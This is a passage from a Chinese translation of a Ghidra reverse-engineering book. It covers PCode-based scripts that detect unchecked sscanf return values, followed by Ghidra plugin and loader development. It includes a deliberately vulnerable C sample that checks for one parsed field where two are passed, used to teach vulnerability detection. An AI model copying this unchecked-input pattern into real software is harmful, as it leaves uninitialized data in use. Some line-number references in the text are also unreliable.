如你所知,在程序中找到一个不安全函数并不一定意味着程序存在漏洞。为了确认函数是否存在漏洞,我们需要分析调用者函数并分析传递给不安全函数的参数。

枚举调用者函数

以下代码片段可用于识别调用者函数:

00 from ghidra.program.database.symbol import FunctionSymbol
01 functionManager = program.getFunctionManager()
02   for sscanf in list_of_sscanfs:
03     if isinstance(sscanf, FunctionSymbol):
04       for ref in sscanf.references:
05         caller = functionManager.getFunctionContaining(
06                                           ref.fromAddress
07                  )
08      caller_function_decompiled = 
09                           decompiler.decompileFunction(
10                                                   caller,
11                    decompiler.options.defaultTimeout,
12                    None
13      )

前面的代码片段通过使用函数管理器来寻找调用者函数。通过调用getFunctionManager()函数,可以轻松获取该管理器,如01行所示。

之后,我们可以遍历_sscanf符号列表,检查这些符号是否是函数,因为我们关心的是_sscanf函数(0203行)。

对每个已识别的_sscanf符号函数,我们枚举其引用(04行)。

引用_sscanf的函数就是调用者函数,因此我们可以使用getFunctionContaining() API 来获取调用者函数(0507行)。

最后,我们可以通过使用decompileFunction() Ghidra API 反编译调用者(0813行)。

在下一节中,我们将使用 PCode 分析得到的caller_function_decompiled对象,以确定它是否存在漏洞。

使用 PCode 分析调用函数

Ghidra 可以同时处理汇编语言和 PCode。PCode 是汇编级别的抽象,这意味着如果你使用 PCode 编写脚本,你将自动支持所有能够从 PCode 翻译的汇编语言。(在撰写本书时,以下处理器是支持的:6502, 68000, 6805, 8048, 8051, 8085, AARCH64, ARM, Atmel, CP1600, CR16, DATA, Dalvik, HCS08, HCS12, JVM, MCS96, MIPS, PA-RISC, PIC, PowerPC, RISCV, Sparc, SuperH, SuperH4, TI_MSP430, Toy, V850, Z80, TriCore 和 x86。)真的很强大吧?

PCode 到汇编级别的翻译

PCode 汇编是使用名为 SLEIGH 的处理器规格语言生成的:ghidra.re/courses/languages/html/sleigh.html。你可以在这里查看当前支持的处理器及其 SLEIGH 规格:github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Processors

要理解 PCode,你必须熟悉三个关键概念:

  • 地址空间:是对典型处理器可访问的索引内存(RAM)的泛化。以下截图展示了一个 PCode 代码片段,突出显示了地址空间引用:图 9.1 – PCode 中的地址空间

图 9.1 – PCode 中的地址空间

  • Varnode:PCode 操作的数据单元。某个地址空间中的一系列字节通过地址和字节数来表示(常数值也被视为 varnode)。以下截图展示了一个 PCode 代码片段,突出显示了 varnode:图 9.2 – PCode 中的 Varnodes

图 9.2 – PCode 中的 Varnodes

  • 操作:一个或多个 PCode 操作可用于模拟处理器指令。PCode 操作支持算术运算、数据移动、分支、逻辑运算、布尔运算、浮点数、整数比较、扩展/截断以及托管代码。以下截图展示了一个 PCode 代码片段,突出显示了操作:图 9.3 – PCode 中的操作

图 9.3 – PCode 中的操作

你也可以通过实践学习 PCode,了解如何区分地址空间/varnode/操作。若想以这种方式学习,右键单击指令并选择 指令信息... 以查看详细信息:

图 9.4 – 检索 PCode 指令的信息

图 9.4 – 检索 PCode 指令的信息

PCode 助记符是自我解释的。但为了更好地理解 PCode 汇编清单,请查看 PCode 参考。

PCode 引用

PCode 操作列表在此处有完整文档:ghidra.re/courses/languages/html/pcodedescription.html。你还可以查看PcodeOp的 Java 自动生成文档:ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeOp.html

尽管 PCode 是一个强大的工具,但它不能完全取代汇编语言。我们通过对比这两者来更好地理解这个问题。

PCode 与汇编语言

在比较汇编语言和 PCode 时,我们可以注意到,汇编语言更具可读性,因为一个汇编指令会翻译成一个或多个 PCode 操作(一对多的翻译),这使得它更为冗长。另一方面,PCode 提供了更多的细粒度控制,可以让你逐步控制每个操作,而不是通过单一指令执行很多操作(即同时移动一个值并更新标志)。

所以,总的来说,PCode 更适合用于脚本开发,而汇编语言更适合人类分析代码时使用:

图 9.5 – 比较两种 _sum 反汇编列表:x86 汇编与 PCode

图 9.5 – 比较两种 _sum 反汇编列表:x86 汇编与 PCode

在接下来的章节中,我们将使用 PCode 分析存储在caller_function_decompiled变量中的调用者函数。

获取 PCode 并分析它

我们首先通过获取caller_function_decompiled变量的 PCode 反编译结果开始。为此,我们只需要访问highFunction属性:

caller_pcode = caller_function_decompiled. highFunction

每个 PCode 基本块都是由 PCode 操作构成的。我们可以如下访问caller_pcode的 PCode 操作:

for pcode_operations in caller_pcode.pcodeOps:

我们还可以通过检查 PCode 操作是否为CALL,以及其第一个操作数是否为sscanf的地址,来判断操作是否为指向sscanfCALL操作:

if op.opcode == PcodeOp.CALL and op.inputs[0].offset == sscanf.address.offset:

PCode 上的CALL操作通常有以下三个输入值:

  • input0:调用目标

  • input1:目标地址

  • input2:格式字符串

剩余的参数是变量,用于存储从格式字符串中提取的值。因此,我们可以使用以下代码计算传递给sscanf的变量数量:

num_variables = len(op.inputs) - 3

计算完传递给sscanf的变量数量后,我们可以确定CALL的输出(从sscanf输入缓冲区读取的值的数量)是否得到了正确的检查——也就是说,检查所有变量(计数器存储在整数num_variables中)是否成功读取。

可能sscanf的返回值从未被检查,所以我们正在分析的脚本开始执行此检查,如果检测到该漏洞指示符,就报告该问题:

if op.output is None:

之后,脚本检查后代。Ghidra 使用“后代”一词来指代变量的后续使用:

for use in op.output.descendants:

它查找包含sscanf输出作为操作数的整数相等比较,并将它与之进行比较的值存储在comparand_var变量中:

if use.opcode == PcodeOp.INT_EQUAL:
    if use.inputs[0].getDef() == op:
        comparand_var = use.inputs[1]
    elif use.inputs[1].getDef() == op:
        comparand_var = use.inputs[0]

最后,它检查比较值是否是常量值,如果小于传递给sscanf的变量数量,脚本会报告这个问题,因为有些变量可能在未正确初始化的情况下被使用:

if comparand_var.isConstant():
    comparand = comparand_var.offset
    if comparand < num_variables:

如你所猜测的,这种脚本逻辑可以应用于检测多种类型的漏洞;例如,它可以很容易地改编为检测“使用后释放”(use-after-free)漏洞。为此,你可以查找free函数调用,并确定是否在释放后的缓冲区被使用。

在多个架构中使用相同的基于 PCode 的脚本

在本节中,我们将分析以下脆弱的程序,但它在两种架构下编译——ARM 和 x86。得益于 PCode,我们只需编写一次脚本:

#include<stdio.h>
int main() {
	char* data = "";
	char name[20];
	int age;
	int return_value = sscanf(data, "%s %i", name, &age);
	if(return_value==1){
		printf("I'm %s.\n", name);
		printf("I'm %i years old.", age);
	}
}

如你所见,程序存在漏洞,因为它检查return_value是否等于1,但有两个变量(nameage)传递给sscanf函数。

现在,我们可以为 x86 和 ARM 处理器编译该程序:

  1. 使用 Ming-w64 为 x86 架构编译它(不用担心是 32 位还是 64 位;对于此实验来说并不重要),生成sscanf_x86.exe可执行二进制文件:

    C:\Users\virusito\vulns> gcc.exe sscanf.c -o sscanf_x86.exe
    
  2. 使用 GNU Arm Embedded Toolchain 为 ARM 架构编译它,生成sscanf_arm.exe二进制文件:

    C:\Users\virusito\vulns> arm-none-eabi-gcc.exe sscanf.c -o sscanf_arm.exe -lc –lnosys
    

我们需要对 Zero Day Initiative 开发的sscanf脚本进行一些小的修改,以便使其也能在 ARM 架构上运行。这些修改与 PCode 无关。之所以需要修改,是因为 Ghidra 检测到的是sscanf符号,而不是_sscanf,并且它也被检测为SymbolNameRecordIterator

图 9.6 – ARM 二进制中 sscanf 的符号树和类型识别

图 9.6 – ARM 二进制中 sscanf 的符号树和类型识别

因此,我们修改脚本,在调用next()方法检索给定SymbolNameRecordIterator的第一个元素(即函数)时,还包括sscanf符号:

sscanfs = list(symbolTable.getSymbols('_sscanf'))
sscanfs.append(symbolTable.getSymbols('sscanf').next())

最后一步,我们在分析后执行脚本,设置postScript选项。我们在 headless 模式下运行 Ghidra,分析包含两个可执行文件(sscanf_x86.exesscanf_arm.exe)的vunls目录:

analyzeHeadless.bat C:\Users\virusito\projects sscanf -postScript C:\Users\virusito\ghidra_scripts\sscanf_ghidra.py -import C:\Users\virusito\vulns\*.exe -overwrite

结果如下所示:

图 9.7 – 对 x86 和 ARM 二进制文件运行单一的脚本

图 9.7 – 对 x86 和 ARM 二进制文件运行单一的sscanf_ghidra.py脚本

如你所见,通过使用 PCode,你只需编写一次脚本,就可以支持所有架构,而无需担心平台差异。

另一方面,PCode 允许你自动化漏洞挖掘过程,利用 PCode 所实现的单一赋值特性,能够实现细粒度的控制。细粒度的控制在漏洞挖掘中非常有用。例如,检查是否存在能够触及易受攻击函数的程序输入时,使用 PCode 比使用汇编语言更容易,因为汇编操作通常会在一次操作中修改很多内容(寄存器、内存、标志等)。

摘要

在本章中,你学习了如何使用 Ghidra 自动化审计程序二进制文件以进行漏洞挖掘。我们从脚本化查找符号表中的易受攻击函数开始,然后继续查找那些函数的调用者,最后分析调用者函数,判断这些函数是否存在漏洞。

你已经学习了如何使用 Ghidra 脚本化二进制审计过程,以及如何使用 PCode 和它的好处。你还了解了为什么 PCode 不能完全替代汇编语言在手动分析中的作用。

在本书的下一章中,我们将介绍如何使用插件扩展 Ghidra。我们在第四章使用 Ghidra 扩展 中提到过这一点,但这个话题值得特别提及,因为它允许你以一种强大的方式深入扩展 Ghidra。

问题

  1. SLEIGH 和 PCode 之间的区别是什么?

  2. PCode 比汇编语言更易于人类阅读吗?为什么 PCode 有用?

延伸阅读

你可以参考以下链接,获取本章涉及的更多信息:

第三部分:扩展 Ghidra

本节专注于 Ghidra 高级开发和高级逆向工程主题。你将学习如何通过多种方式扩展 Ghidra 的功能,并了解如何为 Ghidra 社区做出贡献,同时从中受益。

本节包含以下章节:

  • 第十章开发 Ghidra 插件

  • 第十一章集成新的二进制格式

  • 第十二章分析处理器模块

  • 第十三章为 Ghidra 社区做出贡献

  • 第十四章为高级逆向工程扩展 Ghidra

第十章:第十章:开发 Ghidra 插件

在本章中,我们将深入了解 Ghidra 插件开发的细节,正如在第四章中介绍的那样,使用 Ghidra 扩展。在本章中,你将学习如何实现你自己的插件,以便任意扩展 Ghidra 的功能。

我们将首先提供一些现有插件的概述,以便你可以从其他开发者那里探索一些可能启发你的创意。接下来,我们将分析 Ghidra 附带的插件骨架的源代码,并在 Eclipse 中创建新插件时获取它。

最后,我们将回顾一个基于之前提到的插件骨架的 Ghidra 插件示例。通过这个示例,我们将深入了解如何通过向其中添加组件和操作来实现一个新的 GUI 停靠窗口。

在本章中,我们将涵盖以下主题:

  • 现有插件概述

  • Ghidra 插件骨架

  • Ghidra 插件开发

让我们开始吧!

技术要求

本章的技术要求如下:

查看以下视频,看看代码的实际演示:bit.ly/3gmDazk

现有插件概述

正如我们在第四章分析样本表提供者插件代码部分中看到的那样,使用 Ghidra 扩展,插件扩展是一个 Java 程序,它继承自ghidra.app.plugin.ProgramPlugin类,允许我们处理最常见的程序事件并实现 GUI 组件。

在本节中,我们将概述 Ghidra 特性是如何通过插件实现的,这些插件可以在 Ghidra 仓库中轻松找到。通过分析一个示例,我们将了解现有插件的源代码与它所实现的 Ghidra 组件之间的关系。

Ghidra 发行版中包含的插件

很多 Ghidra 功能是作为插件实现的,因此,除了 Ghidra 自带的插件示例和 ghidra_9.1.2\Extensions\Ghidra 文件夹中提供的插件外,你还可以通过查看程序的源代码和/或重用它来学习如何实现自己的功能。

你可以通过查找包含字符串 extends ProgramPlugin 的类来轻松找到插件 (github.com/NationalSecurityAgency/ghidra/search?p=1&q=extends+ProgramPlugin&unscoped_q=extends+ProgramPlugin),如下图所示:

图 10.1 – 查找作为插件实现的 Ghidra 功能

图 10.1 – 查找作为插件实现的 Ghidra 功能

如你所见,70 个插件(当然,这些搜索结果包括插件示例)是 Ghidra 的一部分。你已经熟悉的 Ghidra GUI 中可用的很多功能就是以这种方式实现的。请记住,当你下载 Ghidra 的发布版本时,提到的源代码将被编译成 JAR 文件,并通过以 *-src.zip 命名的压缩 ZIP 文件分发。

例如,你可以在 ghidra_9.1.2\Features 文件夹中找到 ByteViewer 扩展,它以编译的 JAR 文件和源代码两种形式分发。这些文件可以在模块的 lib 目录中找到:

图 10.2 – ByteViewer 扩展文件树视图 – I

图 10.2 – ByteViewer 扩展文件树视图 – I

它作为一个 Ghidra 插件扩展实现,位于 ghidra_9.1.2/Ghidra/Features/ByteViewer/src/main/java/ghidra/app/plugin/core/byteviewer/ByteViewerPlugin.java,如下图所示:

图 10.3 – ByteViewer 扩展文件树视图 – II

图 10.3 – ByteViewer 扩展文件树视图 – II

该插件实现了一个重要的逆向工程框架功能。下图展示了当运行 第四章使用 Ghidra 扩展 中的 hello_world.exe 程序时,Ghidra GUI 模式所提供的功能:

图 10.4 – ByteViewer 扩展文件树视图 – III

图 10.4 – ByteViewer 扩展文件树视图 – III

通过这样做,你可以将 GUI 组件与其源代码关联起来,从而在开发自己的 Ghidra 插件时,修改它或重用某些代码片段。

第三方插件

除了 Ghidra 发行版中自带的插件,你还可以从互联网上安装第三方插件。以下是一些有用的第三方开发插件示例:

在接下来的部分,我们将提供最简单的 Ghidra 插件结构的概述:插件骨架。

Ghidra 插件骨架

正如我们在第四章开发 Ghidra 扩展部分中所解释的那样,使用 Ghidra 扩展,通过点击新建 | Ghidra 模块项目…,你可以从给定的骨架开始创建任何类型的 Ghidra 扩展。

在本节中,我们将概述 Ghidra 插件扩展骨架,以便了解允许我们开发复杂插件的基础知识。

插件文档

插件骨架的第一部分是描述插件的文档。其文档包含四个必填字段(你可以选择添加一些其他字段):

  • 插件的状态,它可以是以下四个值之一:HIDDEN(隐藏)、RELEASED(发布)、STABLE(稳定)或UNSTABLE(不稳定)。(见下面代码的第01行)。

  • 插件的包(见第02行)。

  • 插件的简短描述(见第03行)。

  • 插件的详细描述(见第04行)。

以下代码是插件文档骨架,你可以根据需要进行定制:

00  @PluginInfo(
01    status = PluginStatus.STABLE,
02    packageName = ExamplesPluginPackage.NAME,
03    category = PluginCategoryNames.EXAMPLES,
04    shortDescription = "Plugin short description.",
05    description = "Plugin long description goes here."
06  )

PluginInfo 文档

如果你想在PluginInfo中包括可选描述字段,请查看以下链接:https://ghidra.re/ghidra_docs/api/ghidra/framework/plugintool/PluginInfo.html。

如下截图所示,一旦插件安装并被检测到,Ghidra 会显示插件的信息:

图 10.5 – 插件配置

图 10.5 – 插件配置

安装PluginInfo后,你可以编写插件的代码。

编写插件代码

插件及其操作由PluginTool管理,因此它作为参数传递给插件类。在所有 Ghidra 插件源代码中,有三件重要的事情:

  • provider(第 09 行)实现了插件的 GUI。它可以是永久性的(关闭插件只会隐藏它)或瞬时性的(关闭插件会移除插件,例如在显示搜索结果时)。

  • 构造函数可以自定义 provider 和插件的帮助选项。

  • init() 方法可以用来获取如 FileImporterServiceGraphService 等服务。请查看以下链接,获取完整的服务文档列表:https://ghidra.re/ghidra_docs/api/ghidra/app/services/package-.summary.html。

以下代码是一个极其简单的插件示例 SkeletonPlugin 的主体部分。当然,我们之前提到的 MyProvider 类(第 09 行)是一个插件 provider,实现了插件的 GUI。我们稍后会详细解释:

07  public class SkeletonPlugin extends ProgramPlugin {
08
09    MyProvider provider;
10    public SkeletonPlugin (PluginTool tool) {
11      super(tool, true, true);
12
13      // TODO: Customize provider (or remove if a provider
14      //       is not desired)
15      String pluginName = getName();
16      provider = new MyProvider(this, pluginName);
17
18      // TODO: Customize help (or remove if help is not
19      //       desired)
20      String topicName = 
21                   this.getClass().getPackage().getName();
22      String anchorName = "HelpAnchor";
23      provider.setHelpLocation(new HelpLocation(
24                                          topicName,
25                                          anchorName)
26      );
27    }
28
29    @Override
30    public void init() {
31      super.init();
32      // TODO: Acquire services if necessary
33    }
34  }

如果你想为插件提供 GUI 功能,则需要实现一个提供者。这个提供者可以使用一个单独的 Java 文件进行开发。在下一节中,我们将概述 Ghidra 插件提供者的结构。

插件的提供者

提供者实现了插件的 GUI 组件。它通常存储在一个名为 *Provider.java 的独立文件中,该文件包含以下内容:

  • 构造函数(第 05-09 行),用于构建面板并创建所需的操作。

  • 面板(第 11-18 行),用于创建 GUI 组件并进行自定义。

  • GUI 的操作(第 21-43 行),通过 addLocalAction(docking.action.DockingActionIf) 添加。

  • 一个 getter 方法,让我们可以获取面板(第 46-48 行)。

以下代码实现了一个自定义插件 provider,即用于 MyProvider 类(在前述代码的第 09 行使用):

00  private static class MyProvider extends ComponentProvider{
01  
02  		private JPanel panel;
03  		private DockingAction action;
04  
05  		public MyProvider(Plugin plugin, String owner) {
06  			super(plugin.getTool(), owner, owner);
07  			buildPanel();
08  			createActions();
09  		}
10  
11  		// Customize GUI
12  		private void buildPanel() {
13  			panel = new JPanel(new BorderLayout());
14  			JTextArea textArea = new JTextArea(5, 25);
15  			textArea.setEditable(false);
16  			panel.add(new JScrollPane(textArea));
17  			setVisible(true);
18  		}
19  
20  		// TODO: Customize actions
21  		private void createActions() {
22  			action = new DockingAction(
23                                         "My Action", 
24                                         getName()) {
25  				@Override
26  				public void actionPerformed(
27                                 ActionContext context) {
28  					Msg.showInfo(
29                               getClass(),
30                               panel,
31                               "Custom Action",
32                               "Hello!"
33                         );
34  				}
35  			};
36  			action.setToolBarData(new ToolBarData(
37                                           Icons.ADD_ICON,
38                                           null)
39              );
40  			action.setEnabled(true);
41  			action.markHelpUnnecessary();
42  			dockingTool.addLocalAction(this, action);
43  		}
44  
45  		@Override
46  		public JComponent getComponent() {
47  			return panel;
48  		}
49  	}

提供者操作文档

你可以通过以下链接了解更多关于 addLocalAction 方法(在前述代码的第 31 行使用)的信息:ghidra.re/ghidra_docs/api/docking/ComponentProvider.html#addLocalAction(docking.action.DockingActionIf。你还可以通过以下链接了解更多关于 Docking Actions 的信息: ghidra.re/ghidra_docs/api/docking/action/DockingActionIf.html

以下截图显示了执行此插件的结果,你可以通过在 CodeBrowser 中选择 Window | SkeletonPlugin,然后点击屏幕右上角的绿色十字按钮来触发该操作(执行此操作后会出现消息框):

图 10.6 – 插件配置

图 10.6 – 插件配置

在下一节中,我们将学习如何使用这个框架作为参考来实现一个插件。

开发 Ghidra 插件

在本节中,我们将分析如何实现ShowInfoPlugin Ghidra 插件示例,以便了解如何开发一个更复杂的插件。

ShowInfoPlugin 的源代码

ShowInfoPlugin的源代码可以在这里找到:github.com/NationalSecurityAgency/ghidra/blob/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Extensions/sample/src/main/java/ghidra/examples/ShowInfoPlugin.java。该插件使用的组件提供者代码在一个单独的文件中:github.com/NationalSecurityAgency/ghidra/blob/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Extensions/sample/src/main/java/ghidra/examples/ShowInfoComponentProvider.java

要实现一个插件,你需要掌握三个关键步骤。让我们一起看一下每个步骤!

插件文档

要记录插件文档,必须使用PluginInfo结构来描述它:

00  @PluginInfo(
01    status = PluginStatus.RELEASED,
02    packageName = ExamplesPluginPackage.NAME,
03    category = PluginCategoryNames.EXAMPLES,
04    shortDescription = "Show Info",
05    description = "Sample plugin demonstrating how to "
06                + "access information from a program. "
07                + "To see it work, use with the "
08                + "CodeBrowser."
09  )

如你所见,文档指出这是插件的发布版本(01行)。插件所属的包是ExamplesPluginPackage.NAME,如02行所定义。插件被归类到PluginCategoryNames.EXAMPLES类别,以表明这是一个示例插件。最后,插件的描述既有简短版本(04行),也有完整版本(05-08行)。

实现插件类

插件类被命名为ShowInfoPlugin,并从ProgramPlugin继承(00行),这是 Ghidra 在开发插件扩展时的标准要求。它声明了一个名为providerShowInfoComponentProvider(用于实现插件的 GUI)(02行),该提供者在类的构造函数中初始化(06行)。与往常一样,它接收PluginTool作为参数(04行)。

另一方面,ProgramPlugin提供的两个方法被重写。第一个方法programDeactivated允许我们在程序变为非活动状态时执行某些操作——在这种情况下,它让我们清除提供者(11行)。第二个方法locationChanged允许我们在接收到程序位置事件后执行操作。在这种情况下,它将当前程序和位置传递给提供者的locationChanged方法(19行)。插件的主体代码如下所示:

00  public class ShowInfoPlugin extends ProgramPlugin {
01
02    private ShowInfoComponentProvider provider;
03
04    public ShowInfoPlugin(PluginTool tool) {
05      super(tool, true, false);
06      provider = new ShowInfoComponentProvider(
07                                               tool,
08                                               getName()
09      );
10    }
11
12    @Override
13    protected void programDeactivated(Program program) {
14      provider.clear();
15    }
16
17    @Override
18    protected void locationChanged(ProgramLocation loc) {
19      provider.locationChanged(currentProgram, loc);
20    }
21  }

正如我们之前提到的,前面的代码在02行声明了一个ShowInfoComponentProvider,用于实现插件的 GUI。在接下来的章节中,我们将详细介绍该类的实现。

实现提供者

正如我们之前提到的,提供者由一个类(在本例中是ShowInfoComponentProvider)组成,该类继承自ComponentProviderAdapter(第0001行),实现了 Ghidra 插件的 GUI,并处理相关事件和操作。

它首先加载两个图像资源(第0205行)。在 Ghidra 中加载资源的正确方法是使用资源管理器(ghidra.re/ghidra_docs/api/resources/ResourceManager.html),如下所示:

00  public class ShowInfoComponentProvider extends 
01                                  ComponentProviderAdapter {
02    private final static ImageIcon CLEAR_ICON = 
03        ResourceManager.loadImage("images/erase16.png");
04    private final static ImageIcon INFO_ICON =
05        ResourceManager.loadImage("images/information.png");

为了实现 GUI,06)和文本区域组件(第07行)。

在此处还定义了一个DockingAction(第08行),它将用户操作与工具栏图标和/或菜单项关联起来(ghidra.re/ghidra_docs/api/docking/action/DockingAction.html)。最后,还声明了两个属性,用于访问当前程序的当前位置(第09行)和当前程序(第10行)。

以下代码对应上述提供者的属性:

06    private JPanel panel;
07    private JTextArea textArea;
08    private DockingAction clearAction;
09    private Program currentProgram;
10    private ProgramLocation currentLocation;  

接下来,类构造函数通过调用在第1355行声明的create()函数来创建 GUI。它设置了一些提供者属性,包括提供者图标(第14行)、默认窗口位置(第15行)及其标题(第16行),然后在第17行将提供者设置为可见。它还创建了DockingActions并调用在第18行定义、在第62行实现的createActions()函数:

11    public ShowInfoComponentProvider(
                                       PluginTool tool,
                                       String name) {
12      super(tool, name, name);
13      create();
14      setIcon(INFO_ICON);
15      setDefaultWindowPosition(WindowPosition.BOTTOM);
16      setTitle("Show Info");
17      setVisible(true);
18      createActions();
19    } 

由于组件提供者的getComponent()(第21行)函数返回要显示的组件,它返回panel(第22行),其中包含了 GUI 组件:

20    @Override
21    public JComponent getComponent() {
22      return panel;
23    }

clear函数通过将当前程序和当前位置设置为null(第2526行)来清除当前程序,并清除文本区域组件的文本(第27行):

24    void clear() {
25      currentProgram = null;
26      currentLocation = null;
27      textArea.setText("");
28    }  

当程序的位置发生变化时,它的位置信息会更新(第3334行)。它不仅更改程序及其新位置,还通过调用在第33行实现的updateInfo()函数更新程序信息(第36行)。这是此插件的主要功能:

29    void locationChanged(
30                         Program program,
31                         ProgramLocation location
32                         ) {
33      this.currentProgram = program;
34      this.currentLocation = location;
35      if (isVisible()) {
36        updateInfo();
37      }
38    }  

updateInfo()函数首先检查是否可以访问当前位置的地址(第34行)。如果无法访问,则返回。

在这种情况下,updateInfo() 函数通过使用 getCodeUnitContaining 函数(第46行)从程序列表的当前位置地址获取 CodeUnitghidra.re/ghidra_docs/api/ghidra/program/model/listing/CodeUnit.html),并显示 CodeUnit 的字符串表示(第52行),用于在前面加上子字符串,指示当前的 CodeUnit 是一个指令(第55-57行),一个已定义的数据段(第58-62行),还是一个未定义的数据段(第63-65行):

39    private void updateInfo() {
40      if (currentLocation == null || 
41          currentLocation.getAddress() == null) {
42        return;
43      }
44  
45      CodeUnit cu = 
46         currentProgram.getListing().getCodeUnitContaining(
47                          currentLocation.getAddress()
48      );
49  
50      // TODO -- create the string to set
51      String preview = 
52             CodeUnitFormat.DEFAULT.getRepresentationString(
53                                                  cu, true
54      );
55      if (cu instanceof Instruction) {
56        textArea.setText("Instruction: " + preview);
57      }
58      else {
59        Data data = (Data) cu;
60        if (data.isDefined()) {
61          textArea.setText("Defined Data: " + preview);
62        }
63        else {
64          textArea.setText("Undefined Data: " + preview);
65        }
66      }
67    }  

create() 方法创建一个包含 BorderLayout 的新面板(第69行)。这使我们可以将 GUI 组件放置在面板的四个边界上,也可以放置在面板的中央。

然后,它创建一个不可编辑的文本区域,大小为 5 行 25 列(第70-71行),并具有滚动功能(第72行),并将其附加到面板(第73行):

68    private void create() {
69      panel = new JPanel(new BorderLayout());
70      textArea = new JTextArea(5, 25);
71      textArea.setEditable(false);
72      JScrollPane sp = new JScrollPane(textArea);
73      panel.add(sp);
74    }  

最后,createActions() 函数创建了一个 DockingAction 用于清除文本区域(您可以在以下代码片段的第 76 行找到它)。

在下面的截图中,您可以看到 createActions() 的实现是如何产生一个 GUI 按钮,从而允许我们触发 清除文本区域 操作的:

图 10.7 – 停靠操作 – 清除文本区域

图 10.7 – 停靠操作 – 清除文本区域

createActions() 函数还重写了 actionPerformed() 函数(ghidra.re/ghidra_docs/api/ghidra/app/context/ListingContextAction.html#actionPerformed(docking.ActionContext),并实现了清除操作(第82行)。它还通过准备操作的工具栏图标(第85-87行)、将其设置为启用状态(第89行)并将其添加到当前工具(第90行),在操作的逻辑和 GUI 之间建立了联系:

图 10.8 – 从 CodeBrowser 的窗口菜单选项可用的 ShowInfo 插件扩展

图 10.8 – 从 CodeBrowser 的窗口菜单选项可用的 ShowInfo 插件扩展

当 GUI 组件显示时(第94行),它立即将对应的 CodeUnit 信息填充到文本区域中(第95行):

75    private void createActions() {
76      clearAction = new DockingAction(
77                                      "Clear Text Area",
78                                      getName()
79                                      ) {
80        @Override
81        public void actionPerformed(ActionContext context) {
82          textArea.setText("");
83        }
84      };
85      clearAction.setToolBarData(new ToolBarData(CLEAR_ICON, 
86                                                 null)
87      );
88  
89      clearAction.setEnabled(true);
90      tool.addLocalAction(this, clearAction);
91    }
92  
93    @Override
94    public void componentShown() {
95      updateInfo();
96    }
97  }

在这里,我们学习了如何实现一个简单的插件提供者。如果你有兴趣实现更复杂的 GUI 扩展,强烈建议你深入了解 Swing 小部件工具包。学习相关内容时,请查阅在线文档(docs.oracle.com/javase/7/docs/api/javax/swing/package-summary.html),或者参考本章末尾的 深入阅读 部分。

总结

本章中,我们学习了如何结合官方和第三方扩展来使用 Ghidra。这项新技能使我们能够弥补 Ghidra 没有内置调试器的缺点。我们对 Ghidra 的源代码进行了搜索,发现 Ghidra 的许多核心功能实际上是以 Ghidra 插件的形式实现的。最后,我们学习了如何利用自己的创意扩展 Ghidra,访问被分析的程序,实现自定义 GUI 插件窗口,并向其添加功能。

在下一章中,我们将学习如何在 Ghidra 中支持新的二进制格式。这项技能将对你非常有价值,因为它将使你能够使用 Ghidra 进行外部二进制文件的逆向工程。

问题

  1. Ghidra 插件扩展是用 Java 语言实现的。那 Ghidra 是完全用 Java 实现的吗?

  2. 如何将外部调试同步功能添加到 Ghidra 中?

  3. 在 Ghidra 插件开发中,什么是提供者(provider)?

深入阅读

请参考以下链接,获取更多关于本章内容的信息:

第十一章:第十一章:纳入新二进制格式

本章将讨论如何将新的二进制格式纳入 Ghidra,使您能够分析特殊的二进制文件——例如视频游戏的 ROM(来自游戏卡带或其他只读存储器的数据副本)。在本章中,您将学习如何开发 Ghidra 加载器扩展,这些扩展在 第四章使用 Ghidra 扩展 部分的 加载器 子部分中已有介绍。

我们将从了解什么是二进制文件开始。我们将探讨原始二进制文件和格式化二进制文件之间的区别,以及 Ghidra 如何处理它们。接下来,我们将进行一些 Ghidra 实验,从用户的角度理解二进制文件如何加载。最后,我们将从 Ghidra 开发者的角度分析 旧版 DOS 可执行二进制文件 的加载器。所分析的加载器负责使 Ghidra 能够加载 MS-DOS 可执行二进制文件,因此通过分析一个实际的例子,您将学习加载器开发。

本章将涵盖以下主要内容:

  • 理解原始二进制文件与格式化二进制文件之间的区别

  • 开发 Ghidra 加载器

  • 理解文件系统加载器

技术要求

本章的要求如下:

  • Flat assemblerfasm),这是一款汇编语言编译器,可以生成多种格式的二进制文件(纯二进制、MZ、PE、COFF 或 ELF):flatassembler.net/download.php

  • HexIt v.1.57,这是一款十六进制编辑器,允许您解析旧版 MS-DOS 可执行文件(MZ):mklasson.com/hexit.php

包含本章所有必要代码的 GitHub 仓库可以在以下链接找到:github.com/PacktPublishing/Ghidra-Software-Reverse-Engineering-for-Beginners/tree/master/Chapter11

查看以下链接,观看《代码实战》视频:bit.ly/3mQraZo

理解原始二进制文件与格式化二进制文件之间的区别

在本节中,您将了解原始二进制文件与格式化二进制文件之间的区别。二进制文件的概念可以通过否定的方式简单定义;也就是说,二进制文件是一个不是文本文件的文件。

我们可以将二进制文件分为两类:原始二进制文件和格式化二进制文件。

原始二进制文件是包含未经处理数据的二进制文件,因此这些二进制文件在任何方面都没有格式。原始二进制文件的一个例子可能是从某个缓冲区中获取的一段代码的内存转储。

另一方面,格式化二进制文件是指具有格式规范的二进制文件,这样你就可以解析它们。格式化二进制文件的例子包括遵循可移植可执行文件PE)格式的 Windows 可执行文件(图像)和目标文件,PE 格式的规范可以在线查阅:https://docs.microsoft.com/en-us/windows/win32/debug/pe-format。

对于 Ghidra 而言,原始二进制文件是一个非常通用的概念,意味着任何文件都可以不考虑其格式进行处理。你可以处理原始二进制文件并手动按某种方式构造数据,但使用格式化二进制文件会更为舒适。因此,你可能会想为那些尚不支持的二进制格式开发自己的加载器。

理解原始二进制文件

Ghidra 可以从你的文件系统中加载任何类型的文件,即使该文件不是已知的文件格式(也就是说,文件没有已知的文件结构)。例如,你可以编写一个文件,将数字与单词关联,并用分号分隔这些对,Ghidra 也能加载它。我们可以通过执行以下命令以这种方式生成一个raw.dat文件:

C:\Users\virusito\loaders> echo "1=potato;2=fish;3=person" > raw.dat

如果你将生成的raw.dat文件拖放到 Ghidra 项目中,它将作为原始二进制文件(没有意义的字节序列)被加载,因为 Ghidra 不知道它的文件格式。

如下图所示,Ghidra 根据加载器的结果,在导入阶段识别该文件为原始二进制文件,并建议将其作为最合适的格式使用:

图 11.1 – 加载原始二进制文件

图 11.1 – 加载原始二进制文件

文件格式的下拉列表基于两个概念层级层级优先级进行填充,这使得你能够按从最合适的格式(图 11.1中的原始二进制)到最不合适的格式对文件格式进行排序:

